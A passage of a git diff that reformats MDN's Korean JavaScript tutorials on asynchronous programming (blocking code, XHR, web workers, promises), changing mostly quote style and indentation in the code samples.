@@ -136,7 +137,7 @@ document.querySelector('#reload').addEventListener('click', () => {
 
 ```html hidden
 <label for="quota">Number of primes:</label>
-<input type="text" id="quota" name="quota" value="1000000">
+<input type="text" id="quota" name="quota" value="1000000" />
 
 <button id="generate">Generate primes</button>
 <button id="reload">Reload</button>
@@ -146,7 +147,6 @@ Try typing in here immediately after pressing "Generate primes"
 </textarea>
 
 <div id="output"></div>
-
 ```
 
 ```css hidden
@@ -158,12 +158,11 @@ textarea {
 
 ```js hidden
 function generatePrimes(quota) {
-
   function isPrime(n) {
     for (let c = 2; c <= Math.sqrt(n); ++c) {
       if (n % c === 0) {
-          return false;
-       }
+        return false;
+      }
     }
     return true;
   }
@@ -181,14 +180,17 @@ function generatePrimes(quota) {
   return primes;
 }
 
-document.querySelector('#generate').addEventListener('click', () => {
-  const quota = document.querySelector('#quota').value;
+document.querySelector("#generate").addEventListener("click", () => {
+  const quota = document.querySelector("#quota").value;
   const primes = generatePrimes(quota);
-  document.querySelector('#output').textContent = `Finished generating ${quota} primes!`;
+  document.querySelector(
+    "#output",
+  ).textContent = `Finished generating ${quota} primes!`;
 });
 
-document.querySelector('#reload').addEventListener('click', () => {
-  document.querySelector('#user-input').value = 'Try typing in here immediately after pressing "Generate primes"';
+document.querySelector("#reload").addEventListener("click", () => {
+  document.querySelector("#user-input").value =
+    'Try typing in here immediately after pressing "Generate primes"';
   document.location.reload();
 });
 ```
@@ -228,23 +230,27 @@ pre {
 ```
 
 ```js
-const log = document.querySelector('.event-log');
+const log = document.querySelector(".event-log");
 
-document.querySelector('#xhr').addEventListener('click', () => {
-  log.textContent = '';
+document.querySelector("#xhr").addEventListener("click", () => {
+  log.textContent = "";
 
   const xhr = new XMLHttpRequest();
 
-  xhr.addEventListener('loadend', () => {
+  xhr.addEventListener("loadend", () => {
     log.textContent = `${log.textContent}Finished with status: ${xhr.status}`;
   });
 
-  xhr.open('GET', 'https://raw.githubusercontent.com/mdn/content/main/files/en-us/_wikihistory.json');
+  xhr.open(
+    "GET",
+    "https://raw.githubusercontent.com/mdn/content/main/files/en-us/_wikihistory.json",
+  );
   xhr.send();
-  log.textContent = `${log.textContent}Started XHR request\n`;});
+  log.textContent = `${log.textContent}Started XHR request\n`;
+});
 
-document.querySelector('#reload').addEventListener('click', () => {
-  log.textContent = '';
+document.querySelector("#reload").addEventListener("click", () => {
+  log.textContent = "";
   document.location.reload();
 });
 ```
@@ -302,14 +308,13 @@ function doStep3(init, callback) {
 }
 
 function doOperation() {
-  doStep1(0, result1 => {
-    doStep2(result1, result2 => {
-      doStep3(result2, result3 => {
+  doStep1(0, (result1) => {
+    doStep2(result1, (result2) => {
+      doStep3(result2, (result3) => {
         console.log(`result: ${result3}`);
       });
     });
   });
-
 }
 
 doOperation();
diff --git a/files/ko/learn/javascript/asynchronous/introducing_workers/index.md b/files/ko/learn/javascript/asynchronous/introducing_workers/index.md
index ccfd96c0128f5c..bbd79fb51dc0b2 100644
--- a/files/ko/learn/javascript/asynchronous/introducing_workers/index.md
+++ b/files/ko/learn/javascript/asynchronous/introducing_workers/index.md
@@ -48,12 +48,11 @@ slug: Learn/JavaScript/Asynchronous/Introducing_workers
 
 ```js
 function generatePrimes(quota) {
-
   function isPrime(n) {
     for (let c = 2; c <= Math.sqrt(n); ++c) {
       if (n % c === 0) {
-          return false;
-       }
+        return false;
+      }
     }
     return true;
   }
@@ -71,14 +70,17 @@ function generatePrimes(quota) {
   return primes;
 }
 
-document.querySelector('#generate').addEventListener('click', () => {
-  const quota = document.querySelector('#quota').value;
+document.querySelector("#generate").addEventListener("click", () => {
+  const quota = document.querySelector("#quota").value;
   const primes = generatePrimes(quota);
-  document.querySelector('#output').textContent = `Finished generating ${quota} primes!`;
+  document.querySelector(
+    "#output",
+  ).textContent = `Finished generating ${quota} primes!`;
 });
 
-document.querySelector('#reload').addEventListener('click', () => {
-  document.querySelector('#user-input').value = 'Try typing in here immediately after pressing "Generate primes"';
+document.querySelector("#reload").addEventListener("click", () => {
+  document.querySelector("#user-input").value =
+    'Try typing in here immediately after pressing "Generate primes"';
   document.location.reload();
 });
 ```
@@ -97,30 +99,28 @@ document.querySelector('#reload').addEventListener('click', () => {
 "index.html" 파일과 "style.css" 파일은 이미 완성되어있습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="UTF-8">
+    <meta charset="UTF-8" />
     <script type="text/javascript" src="main.js" defer></script>
-    <link href="style.css"rel="stylesheet">
+    <link href="style.css" rel="stylesheet" />
   </head>
 
   <body>
-
     <label for="quota">Number of primes:</label>
-    <input type="text" id="quota" name="quota" value="1000000">
+    <input type="text" id="quota" name="quota" value="1000000" />
 
     <button id="generate">Generate primes</button>
     <button id="reload">Reload</button>
 
-    <textarea id="user-input" rows="5" cols="62">Try typing in here immediately after pressing "Generate primes"</textarea>
+    <textarea id="user-input" rows="5" cols="62">
+Try typing in here immediately after pressing "Generate primes"</textarea
+    >
 
     <div id="output"></div>
-
   </body>
-
 </html>
-
 ```
 
 ```css
@@ -138,28 +138,31 @@ textarea {
 
 ```js
 // Create a new worker, giving it the code in "generate.js"
-const worker = new Worker('./generate.js');
+const worker = new Worker("./generate.js");
 
 // When the user clicks "Generate primes", send a message to the worker.
 // The message command is "generate", and the message also contains "quota",
 // which is the number of primes to generate.
-document.querySelector('#generate').addEventListener('click', () => {
-  const quota = document.querySelector('#quota').value;
+document.querySelector("#generate").addEventListener("click", () => {
+  const quota = document.querySelector("#quota").value;
   worker.postMessage({
-    command: 'generate',
-    quota: quota
+    command: "generate",
+    quota: quota,
   });
 });
 
 // When the worker sends a message back to the main thread,
 // update the output box with a message for the user, including the number of
 // primes that were generated, taken from the message data.
-worker.addEventListener('message', message => {
-  document.querySelector('#output').textContent = `Finished generating ${message.data} primes!`;
+worker.addEventListener("message", (message) => {
+  document.querySelector(
+    "#output",
+  ).textContent = `Finished generating ${message.data} primes!`;
 });
 
-document.querySelector('#reload').addEventListener('click', () => {
-  document.querySelector('#user-input').value = 'Try typing in here immediately after pressing "Generate primes"';
+document.querySelector("#reload").addEventListener("click", () => {
+  document.querySelector("#user-input").value =
+    'Try typing in here immediately after pressing "Generate primes"';
   document.location.reload();
 });
 ```
@@ -180,20 +183,19 @@ document.querySelector('#reload').addEventListener('click', () => {
 ```js
 // Listen for messages from the main thread.
 // If the message command is "generate", call `generatePrimes()`
-addEventListener("message", message => {
-  if (message.data.command === 'generate') {
+addEventListener("message", (message) => {
+  if (message.data.command === "generate") {
     generatePrimes(message.data.quota);
   }
 });
 
 // Generate primes (very inefficiently)
 function generatePrimes(quota) {
-
   function isPrime(n) {
     for (let c = 2; c <= Math.sqrt(n); ++c) {
       if (n % c === 0) {
-          return false;
-       }
+        return false;
+      }
     }
     return true;
   }
diff --git a/files/ko/learn/javascript/asynchronous/promises/index.md b/files/ko/learn/javascript/asynchronous/promises/index.md
index 78269a0d20cf61..f9c2ccb8ad2452 100644
--- a/files/ko/learn/javascript/asynchronous/promises/index.md
+++ b/files/ko/learn/javascript/asynchronous/promises/index.md
@@ -42,12 +42,16 @@ Promise는 어떤 작업의 중간상태를 나타내는 오브젝트 입니다.
 ```js
 function handleCallButton(evt) {
   setStatusMessage("Calling...");
-  navigator.mediaDevices.getUserMedia({video: true, audio: true})
-    .then(chatStream => {
+  navigator.mediaDevices
+    .getUserMedia({ video: true, audio: true })
+    .then((chatStream) => {
       selfViewElem.srcObject = chatStream;
-      chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream));
+      chatStream
+        .getTracks()
+        .forEach((track) => myPeerConnection.addTrack(track, chatStream));
       setStatusMessage("Connected");
-    }).catch(err => {
+    })
+    .catch((err) => {
       setStatusMessage("Failed to connect");
     });
 }
@@ -74,12 +78,20 @@ Promise가 왜 좋은지 이해하기 위해 구식 callbacks을 살펴보고 
 구식 [callbacks](/ko/docs/Learn/JavaScript/Asynchronous/Introducing#Callbacks)을 사용하면 아래와 같은 모습의 코드가 나타날것 입니다. :
 
 ```js
-chooseToppings(function(toppings) {
-  placeOrder(toppings, function(order) {
-    collectOrder(order, function(pizza) {
-      eatPizza(pizza);
-    }, failureCallback);
-  }, failureCallback);
+chooseToppings(function (toppings) {
+  placeOrder(
+    toppings,
+    function (order) {
+      collectOrder(
+        order,
+        function (pizza) {
+          eatPizza(pizza);
+        },
+        failureCallback,
+      );
+    },
+    failureCallback,
+  );
 }, failureCallback);
 ```
 
@@ -91,16 +103,16 @@ chooseToppings(function(toppings) {
 
 ```js
 chooseToppings()
-.then(function(toppings) {
-  return placeOrder(toppings);
-})
-.then(function(order) {
-  return collectOrder(order);
-})
-.then(function(pizza) {
-  eatPizza(pizza);
-})
-.catch(failureCallback);
+  .then(function (toppings) {
+    return placeOrder(toppings);
+  })
+  .then(function (order) {
+    return collectOrder(order);
+  })
+  .then(function (pizza) {
+    eatPizza(pizza);
+  })
+  .catch(failureCallback);
 ```
 
 보기에 훨씬 더 좋군요! — 이렇게 작성하면 앞으로 어떤 일이 일어날지 쉽게 예측 가능합니다. 그리고 단 한개의 `.catch()` 을 사용하여 모든 에러를 처리합니다. 그리고 main thread를 차단하지 않습니다. (그래서 피자를 주문하고 기다리는 동안 하던 게임을 마저 할 수 있습니다.), 또한 각 함수가 실행되기 전 이전 작업이 끝날때까지 기다립니다. 이런식으로 여러 개의 비동기 작업을 연쇄적으로 처리할 수 있습니다. 왜냐햐면 각 `.then()` 블럭은 자신이 속한 블럭의 작업이 끝났을 때의 결과를 새로운 Promise 반환해주기 때문입니다. 어때요, 참 쉽죠?
@@ -109,26 +121,20 @@ chooseToppings()
 
 ```js
 chooseToppings()
-.then(toppings =>
-  placeOrder(toppings)
-)
-.then(order =>
-  collectOrder(order)
-)
-.then(pizza =>
-  eatPizza(pizza)
-)
-.catch(failureCallback);
+  .then((toppings) => placeOrder(toppings))
+  .then((order) => collectOrder(order))
+  .then((pizza) => eatPizza(pizza))
+  .catch(failureCallback);
 ```
 
 혹은 아래처럼 표현할 수 있습니다. :
 
 ```js
 chooseToppings()
-.then(toppings => placeOrder(toppings))
-.then(order => collectOrder(order))
-.then(pizza => eatPizza(pizza))
-.catch(failureCallback);
+  .then((toppings) => placeOrder(toppings))
+  .then((order) => collectOrder(order))
+  .then((pizza) => eatPizza(pizza))
+  .catch(failureCallback);
 ```
 
 화살표 함수의 `() => x` 표현은 `() => { return x; }`의 약식 표현이므로 잘 작동합니다.
@@ -136,7 +142,11 @@ chooseToppings()
 함수는 arguments를 직접 전달 하므로 함수처럼 표현하지 않고 아래와 같이 작성할 수도 있습니다. :
 
 ```js
-chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);
+chooseToppings()
+  .then(placeOrder)
+  .then(collectOrder)
+  .then(eatPizza)
+  .catch(failureCallback);
 ```
 
 그런데 이렇게 작성하면 읽기가 쉽지 않습니다. 사용자의 코드가 지금의 예제보다 더 복잡하다면 위의 방법은 사용하기 힘듭니다.
@@ -160,56 +170,54 @@ Promise는 이벤트 리스너와 유사하지만 몇 가지 다른점이 있습
 2. HTML {{htmlelement("body")}} 하단에 {{htmlelement("script")}} 엘리먼트를 삽입합니다.
 3. {{HTMLElement("script")}} 엘리먼트 안에 아래와 같이 코드를 작성합니다. :
 
-    ```js
-    let promise = fetch('coffee.jpg');
-    ```
+   ```js
+   let promise = fetch("coffee.jpg");
+   ```
 
-    `fetch()` 메서드를 호출하여, 네트워크에서 fetch할 이미지의 URL을 매개변수로 전달합니다. 두 번째 매개변수를 사용할 수 있지만, 지금은 우선 간단하게 하나의 매개변수만 사용하겠습니다. 코드를 더 살펴보면 `promise`변수에 `fetch()` 작업으로 반환된 Promise 오브젝트를 저장하고 있습니다. 이전에 말했듯이, 지금 오브젝트는 성공도 아니고 실패도 아닌 중간 상태를 저장하고 있습니다. 공식적으로는 **pending**상태라고 부릅니다.
+   `fetch()` 메서드를 호출하여, 네트워크에서 fetch할 이미지의 URL을 매개변수로 전달합니다. 두 번째 매개변수를 사용할 수 있지만, 지금은 우선 간단하게 하나의 매개변수만 사용하겠습니다. 코드를 더 살펴보면 `promise`변수에 `fetch()` 작업으로 반환된 Promise 오브젝트를 저장하고 있습니다. 이전에 말했듯이, 지금 오브젝트는 성공도 아니고 실패도 아닌 중간 상태를 저장하고 있습니다. 공식적으로는 **pending**상태라고 부릅니다.
 
 4. 작업이 성공적으로 진행될 때를 대응하기 위해 (이번 예제에선 {{domxref("Response")}} 가 반환될 때 입니다. ), 우리는 Promise 오브젝트의 [`.then()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/then) 메서드를 호출합니다. `.then()` 블럭 안의 callback은 (**executor** 라고 부름) Promise가 성공적으로 완료되고{{domxref("Response")}} 오브젝트를 반환할 때만 실행합니다. — 이렇게 성공한 Promise의 상태를 **fulfilled**라고 부릅니다. 그리고 반환된 {{domxref("Response")}} 오브젝트를 매개변수로 전달합니다.
 
-    > **참고:** The way that a `.then()` block works is similar to when you add an event listener to an object using `AddEventListener()`. It doesn't run until an event occurs (when the promise fulfills). The most notable difference is that a .then() will only run once for each time it is used, whereas an event listener could be invoked multiple times.
+   > **참고:** The way that a `.then()` block works is similar to when you add an event listener to an object using `AddEventListener()`. It doesn't run until an event occurs (when the promise fulfills). The most notable difference is that a .then() will only run once for each time it is used, whereas an event listener could be invoked multiple times.
 
-    그리고 즉시 `blob()` 메서드를 실행하여 Response Body가 완전히 다운로드 됐는지 확인합니다. 그리고 Response Body가 이용 가능할 때 추가 작업을 할 수 있는 `Blob` 오브젝트로 변환시킵니다. 해당 코드는 아래와 같이 작성할 수 있습니다. :
+   그리고 즉시 `blob()` 메서드를 실행하여 Response Body가 완전히 다운로드 됐는지 확인합니다. 그리고 Response Body가 이용 가능할 때 추가 작업을 할 수 있는 `Blob` 오브젝트로 변환시킵니다. 해당 코드는 아래와 같이 작성할 수 있습니다. :
 
-    ```js
-    response => response.blob()
-    ```
+   ```js
+   (response) => response.blob();
+   ```
 
-    위의 코드는 아래의 코드를 축약한 형태입니다.
+   위의 코드는 아래의 코드를 축약한 형태입니다.
 
-    ```js
-    function(response) {
-      return response.blob();
-    }
-    ```
+   ```js
+   function(response) {
+     return response.blob();
+   }
+   ```
 
-    이제 추가 설명은 충븐하므로, JavaScript의 첫 번째 줄 아래에 다음과 같은 라인을 추가하세요.
+   이제 추가 설명은 충븐하므로, JavaScript의 첫 번째 줄 아래에 다음과 같은 라인을 추가하세요.
 
-    ```js
-    let promise2 = promise.then(response => response.blob());
-    ```
+   ```js
+   let promise2 = promise.then((response) => response.blob());
+   ```
 
 5. 각 `.then()` 을 호출하면 새로운 Promise를 만드는데, 이는 매우 유용합니다. 왜냐하면 `blob()` 메서드도 Promise를 반환하기 때문에, 두 번째 Promise의 `.then()` 메서드를 호출함으로써 이행시 반환되는 `Blob` 오브젝트를 처리할 수 있습니다. 한 가지 메서드를 실행하여 결과를 반환하는 것보다 Blob에 좀 더 복잡한 일을 추가하고 싶습니다. 이럴때는 중괄호{ }로 묶습니다. (그렇지 않으면 에러가 발생합니다.).
 
-    이어서 아래와 같은 코드를 추가합니다.:
+   이어서 아래와 같은 코드를 추가합니다.:
 
-    ```js
-    let promise3 = promise2.then(myBlob => {
-
-    })
-    ```
+   ```js
+   let promise3 = promise2.then((myBlob) => {});
+   ```
 
 6. 이제 executor 함수를 아래와 같이 채워넣습니다. 중괄호 안에 작성하면 됩니다. :
 
-    ```js
-    let objectURL = URL.createObjectURL(myBlob);
-    let image = document.createElement('img');
-    image.src = objectURL;
-    document.body.appendChild(image);
-    ```
+   ```js
+   let objectURL = URL.createObjectURL(myBlob);
+   let image = document.createElement("img");
+   image.src = objectURL;
+   document.body.appendChild(image);
+   ```
 
-    여기서 우리는 두 번째 Promise가 fulfills일 때 반횐된 Blob을 매개변수로 전달받는 {{domxref("URL.createObjectURL()")}} 메서드를 실행하고 있습니다. 이렇게 하면 오브젝트가 가지고있는 URL이 반환됩니다. 그 다음 {{htmlelement("img")}} 엘리먼트를 만들고, 반환된 URL을 `src` 속성에 지정하여 DOM에 추가합니다. 이렇게 하면 페이지에 그림이 표시됩니다.
+   여기서 우리는 두 번째 Promise가 fulfills일 때 반횐된 Blob을 매개변수로 전달받는 {{domxref("URL.createObjectURL()")}} 메서드를 실행하고 있습니다. 이렇게 하면 오브젝트가 가지고있는 URL이 반환됩니다. 그 다음 {{htmlelement("img")}} 엘리먼트를 만들고, 반환된 URL을 `src` 속성에 지정하여 DOM에 추가합니다. 이렇게 하면 페이지에 그림이 표시됩니다.
 
 If you save the HTML file you've just created and load it in your browser, you'll see that the image is displayed in the page as expected. Good work!
 
@@ -220,8 +228,10 @@ If you save the HTML file you've just created and load it in your browser, you'l
 현재 에러가 발생했을 때 어떻게 처리를 해야할 지 작성된 코드가 없기때문에 코드를 조금만 더 추가하여 좀 더 완벽하게 작성해봅시다. (Promise에서 에러가 발생한 상태를 **rejects**라 부릅니다). 이전에 봤던대로 [`.catch()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch) 블럭을 추가하여 오류를 핸들링 할 수 있습니다. 아래처럼 말이죠 :
 
 ```js
-let errorCase = promise3.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
+let errorCase = promise3.catch((e) => {
+  console.log(
+    "There has been a problem with your fetch operation: " + e.message,
+  );
 });
 ```
 
@@ -236,17 +246,19 @@ let errorCase = promise3.catch(e => {
 위에서 사용한 코드는 작업이 어떻게 처리되는지 명확하게 보여주기 위해 매우 길게 코드를 작성했습니다. 이전 글에서 봤듯이, `.then()` 블럭을 사용하여 연쇄 작업을 진행할 수 있습니다. (또한 `.catch()` 블럭을 사용하여 에러 처리도 했지요). 앞선 예제의 코드는 아래와 같이 작성할 수도 있습니다. (see also [simple-fetch-chained.html](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html) on GitHub):
 
 ```js
-fetch('coffee.jpg')
-.then(response => response.blob())
-.then(myBlob => {
-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-})
-.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
+fetch("coffee.jpg")
+  .then((response) => response.blob())
+  .then((myBlob) => {
+    let objectURL = URL.createObjectURL(myBlob);
+    let image = document.createElement("img");
+    image.src = objectURL;
+    document.body.appendChild(image);
+  })
+  .catch((e) => {
+    console.log(
+      "There has been a problem with your fetch operation: " + e.message,
+    );
+  });
 ```
 
 fulfilled promise 결과에 의해 반환된 값이 다음 `.then()` 블록의 executor 함수가 가진 파라미터로 전달 된다는 것을 꼭 기억하세요.
@@ -260,8 +272,8 @@ fulfilled promise 결과에 의해 반환된 값이 다음 `.then()` 블록의 e
 1. Promise가 생성되면 그 상태는 성공도 실패도 아닌 **pending**상태라고 부릅니다..
 2. Promise결과가 반환되면 결과에 상관 없이 **resolved**상태라고 부릅니다..
 
-    1. 성공적으로 처리된 Promise는 **fulfilled**상태이다. 이 상태가 되면 Promise 체인의 다음 `.then()` 블럭에서 사용할 수 있는 값을 반환합니다.. 그리고 `.then()` 블럭 내부의 executor 함수에 Promise에서 반환된 값이 파라미터로 전달됩니다..
-    2. 실패한 Promise는 **rejected**상태이다. 이때 어떤 이유(**reason)** 때문에 Promise가 rejected 됐는지를 나타내는 에러 메시지를 포함한 결과가 반환됩니다. Promise 체이닝의 제일 마지막 `.catch()` 에서 상세한 에러 메시지를 확인할 수 있습니다.
+   1. 성공적으로 처리된 Promise는 **fulfilled**상태이다. 이 상태가 되면 Promise 체인의 다음 `.then()` 블럭에서 사용할 수 있는 값을 반환합니다.. 그리고 `.then()` 블럭 내부의 executor 함수에 Promise에서 반환된 값이 파라미터로 전달됩니다..
+   2. 실패한 Promise는 **rejected**상태이다. 이때 어떤 이유(**reason)** 때문에 Promise가 rejected 됐는지를 나타내는 에러 메시지를 포함한 결과가 반환됩니다. Promise 체이닝의 제일 마지막 `.catch()` 에서 상세한 에러 메시지를 확인할 수 있습니다.
 
 ## Running code in response to multiple promises fulfilling
 
@@ -285,88 +297,89 @@ Promise.all([a, b, c]).then(values => {
 2. 이미지 그리고 텍스트 파일([coffee.jpg](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg), [tea.jpg](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/tea.jpg), and [description.txt](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/description.txt))을 다운받고 [page template](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) 와 같은 경로에 저장해주세요.
 3. 먼저 Promise를 반환하는 몇 가지 함수를 만들어 `Promise.all()`로 결과를 반환합니다. 세 개의 `fetch()` 작업이 끝나고 다음 요청을 진행하고 싶다면 아래 코드처럼 `Promise.all()`블럭을 작성합니다. :
 
-    ```js
-    let a = fetch(url1);
-    let b = fetch(url2);
-    let c = fetch(url3);
+   ```js
+   let a = fetch(url1);
+   let b = fetch(url2);
+   let c = fetch(url3);
 
-    Promise.all([a, b, c]).then(values => {
-      ...
-    });
-    ```
-
-    Promise가 fulfilled가 됐을 때, fulfilment handler 핸들러로 전달된 values 매개변수에는 각 `fetch()` 의 결과로 발생한 세 개의 `Response` 오브젝트가 들어있습니다 .
-
-    하지만 우리는 단순히 결과만 넘겨주고 싶지 않습니다. 우리는`fetch()` 언제 끝나는지 보다 불러온 데이터에 더 관심이 있습니다. 그말은 브라우저에 표현할 수 있는 Blob과 텍스트 문자열이 불러와 졌을 때 `Promise.all()` 블럭을 실행하고 싶다는 것 입니다. `<script>` 엘리먼트에 아래와 같이 작성합니다. :
-
-    ```js
-    function fetchAndDecode(url, type) {
-      return fetch(url).then(response => {
-        if (type === 'blob') {
-          return response.blob();
-        } else if (type === 'text') {
-          return response.text();
-        }
-      })
-      .catch(e => {
-        console.log('There has been a problem with your fetch operation: ' + e.message);
-      });
-    }
-    ```
+   Promise.all([a, b, c]).then(values => {
+     ...
+   });
+   ```
+
+   Promise가 fulfilled가 됐을 때, fulfilment handler 핸들러로 전달된 values 매개변수에는 각 `fetch()` 의 결과로 발생한 세 개의 `Response` 오브젝트가 들어있습니다 .
+
+   하지만 우리는 단순히 결과만 넘겨주고 싶지 않습니다. 우리는`fetch()` 언제 끝나는지 보다 불러온 데이터에 더 관심이 있습니다. 그말은 브라우저에 표현할 수 있는 Blob과 텍스트 문자열이 불러와 졌을 때 `Promise.all()` 블럭을 실행하고 싶다는 것 입니다. `<script>` 엘리먼트에 아래와 같이 작성합니다. :
 
-    살짝 복잡해 보이므로 하나하나 살펴봅시다. :
+   ```js
+   function fetchAndDecode(url, type) {
+     return fetch(url)
+       .then((response) => {
+         if (type === "blob") {
+           return response.blob();
+         } else if (type === "text") {
+           return response.text();
+         }
+       })
+       .catch((e) => {
+         console.log(
+           "There has been a problem with your fetch operation: " + e.message,
+         );
+       });
+   }
+   ```
 
-    1. 먼저 fetchAndDecode() 함수를 정의했고 함수의 매개변수로 컨텐츠의 URL과 가져오는 리소스의 타입을 지정합니다.
-    2. 함수 내부에 첫 번째 예에서 본 것과 유사한 구조를 가진 코드가 있습니다. — `fetch()` 함수를 호출하여 전달받은 URL에서 리소스를 받아오도록 했습니다. 그리고 다음 Promise를 연쇄적으로 호출하여 디코딩된 (혹은 "읽은") Response Body를 반환하게 합니다. 이전 예에선 Blob만을 가져오기 때문에 `blob()` 메서드만 썼습니다.
-    3. 여기에선 이전과 다른 두 가지가 있습니다. :
+   살짝 복잡해 보이므로 하나하나 살펴봅시다. :
 
-        - 먼저 두 번째 Promise에서는 불러올 리소스의 `type` 이 무엇인지에 따라 반환받는 데이터가 다릅니다. executor 함수 내부에, 간단한 `if ... else if` 구문을 사용하여 어떤 종류의 파일을 디코딩해야 하는지에 따라 다른 Promise를 반환하게 했습니다. (이 경우 `blob` 이나 `text`밖에 없지만, 이것을 잘 활용하여 다른 코드에 확장하여 적용할 수 있습니다.).
-        - 두 번째로, `fetch()` 호출 앞에 `return` 키워드를 추가했습니다. 이렇게 하면 Promise 체이닝의 마지막 결과값을 함수의 결과로 반환해 줄 수 있습니다. (이 경우 `blob()` 혹은 `text()`메서드에 의해 반환된 Promise 입니다.) 사실상 `fetch()` 앞의 `return` 구문은 체이닝 결과를 다시 상단으로 전달하는 행위 입니다.
+   1. 먼저 fetchAndDecode() 함수를 정의했고 함수의 매개변수로 컨텐츠의 URL과 가져오는 리소스의 타입을 지정합니다.
+   2. 함수 내부에 첫 번째 예에서 본 것과 유사한 구조를 가진 코드가 있습니다. — `fetch()` 함수를 호출하여 전달받은 URL에서 리소스를 받아오도록 했습니다. 그리고 다음 Promise를 연쇄적으로 호출하여 디코딩된 (혹은 "읽은") Response Body를 반환하게 합니다. 이전 예에선 Blob만을 가져오기 때문에 `blob()` 메서드만 썼습니다.
+   3. 여기에선 이전과 다른 두 가지가 있습니다. :
 
-    4. 블럭의 마지막에는 `.catch()` 블럭을 추가하여 작업중 발생한 에러를 `.all()`의 배열로 전달합니다. 아무 Promise에서 reject가 발생하면, catch 블럭은 어떤 Promise에서 에러가 발생했는지 알려줄 것 입니다. `.all()` (아래쪽에 있는) 블럭의 리소스에 문제가 있지 않는 이상 항상 fulfil일것 입니다. `.all` 블럭의 마지막 체이닝에 `.catch()` 블럭을 추가하여 reject됐을때 확인을 할 수 있습니다.
+      - 먼저 두 번째 Promise에서는 불러올 리소스의 `type` 이 무엇인지에 따라 반환받는 데이터가 다릅니다. executor 함수 내부에, 간단한 `if ... else if` 구문을 사용하여 어떤 종류의 파일을 디코딩해야 하는지에 따라 다른 Promise를 반환하게 했습니다. (이 경우 `blob` 이나 `text`밖에 없지만, 이것을 잘 활용하여 다른 코드에 확장하여 적용할 수 있습니다.).
+      - 두 번째로, `fetch()` 호출 앞에 `return` 키워드를 추가했습니다. 이렇게 하면 Promise 체이닝의 마지막 결과값을 함수의 결과로 반환해 줄 수 있습니다. (이 경우 `blob()` 혹은 `text()`메서드에 의해 반환된 Promise 입니다.) 사실상 `fetch()` 앞의 `return` 구문은 체이닝 결과를 다시 상단으로 전달하는 행위 입니다.
 
-    함수의 body 안에 있는 코드는 비동기적이고 Promise 기반이므로, 전체 함수는 Promise로 작동합니다. — 편리하죠?.
+   4. 블럭의 마지막에는 `.catch()` 블럭을 추가하여 작업중 발생한 에러를 `.all()`의 배열로 전달합니다. 아무 Promise에서 reject가 발생하면, catch 블럭은 어떤 Promise에서 에러가 발생했는지 알려줄 것 입니다. `.all()` (아래쪽에 있는) 블럭의 리소스에 문제가 있지 않는 이상 항상 fulfil일것 입니다. `.all` 블럭의 마지막 체이닝에 `.catch()` 블럭을 추가하여 reject됐을때 확인을 할 수 있습니다.
+
+   함수의 body 안에 있는 코드는 비동기적이고 Promise 기반이므로, 전체 함수는 Promise로 작동합니다. — 편리하죠?.
 
 4. 다음으로 fetchAndDecode() 함수를 세 번 호출하여 이미지와 텍스트를 가져오고 디코딩 하는 과정을 시작합니다. 그리고 반환된 Promise를 각각의 변수에 저장합니다. 이전 코드에 이어서 아래 코드를 추가하세요. :
 
-    ```js
-    let coffee = fetchAndDecode('coffee.jpg', 'blob');
-    let tea = fetchAndDecode('tea.jpg', 'blob');
-    let description = fetchAndDecode('description.txt', 'text');
-    ```
+   ```js
+   let coffee = fetchAndDecode("coffee.jpg", "blob");
+   let tea = fetchAndDecode("tea.jpg", "blob");
+   let description = fetchAndDecode("description.txt", "text");
+   ```
 
 5. 다음으로 위의 세 가지 코드가 모두 fulfilled가 됐을 때 원하는 코드를 실행하기 위해 `Promise.all()` 블럭을 만듭니다. 우선, `.then()` call 안에 비어있는 executor 를 추가하세요 :
 
-    ```js
-    Promise.all([coffee, tea, description]).then(values => {
+   ```js
+   Promise.all([coffee, tea, description]).then((values) => {});
+   ```
 
-    });
-    ```
-
-    위에서 Promise를 포함하는 배열을 매개 변수로 사용하는 것을 확인할 수 있습니다. executor는 세 가지 Promise가 resolve될 때만 실행될 것 입니다. 그리고 executor가 실행될 때 개별적인 Promise의 결과를 포함하는 \[coffee-results, tea-results, description-results] 배열을 매개 변수로 전달받을 것 입니다. (여기선 디코딩된 Response Body 입니다.).
+   위에서 Promise를 포함하는 배열을 매개 변수로 사용하는 것을 확인할 수 있습니다. executor는 세 가지 Promise가 resolve될 때만 실행될 것 입니다. 그리고 executor가 실행될 때 개별적인 Promise의 결과를 포함하는 \[coffee-results, tea-results, description-results] 배열을 매개 변수로 전달받을 것 입니다. (여기선 디코딩된 Response Body 입니다.).
 
 6. 마지막으로 executor 함수를 작성합니다. 예제에선 반환된 결과를 별도의 변수로 저장하기 위해 간단한 동기화 코드를 사용합니다. (Blob에서 오브젝트 URLs 생성), 그리고 페이지에 텍스트와 이미지를 표시합니다.
 
-    ```js
-    console.log(values);
-    // Store each value returned from the promises in separate variables; create object URLs from the blobs
-    let objectURL1 = URL.createObjectURL(values[0]);
-    let objectURL2 = URL.createObjectURL(values[1]);
-    let descText = values[2];
-
-    // Display the images in <img> elements
-    let image1 = document.createElement('img');
-    let image2 = document.createElement('img');
-    image1.src = objectURL1;
-    image2.src = objectURL2;
-    document.body.appendChild(image1);
-    document.body.appendChild(image2);
-
-    // Display the text in a paragraph
-    let para = document.createElement('p');
-    para.textContent = descText;
-    document.body.appendChild(para);
-    ```
+   ```js
+   console.log(values);
+   // Store each value returned from the promises in separate variables; create object URLs from the blobs
+   let objectURL1 = URL.createObjectURL(values[0]);
+   let objectURL2 = URL.createObjectURL(values[1]);
+   let descText = values[2];
+
+   // Display the images in <img> elements
+   let image1 = document.createElement("img");
+   let image2 = document.createElement("img");
+   image1.src = objectURL1;
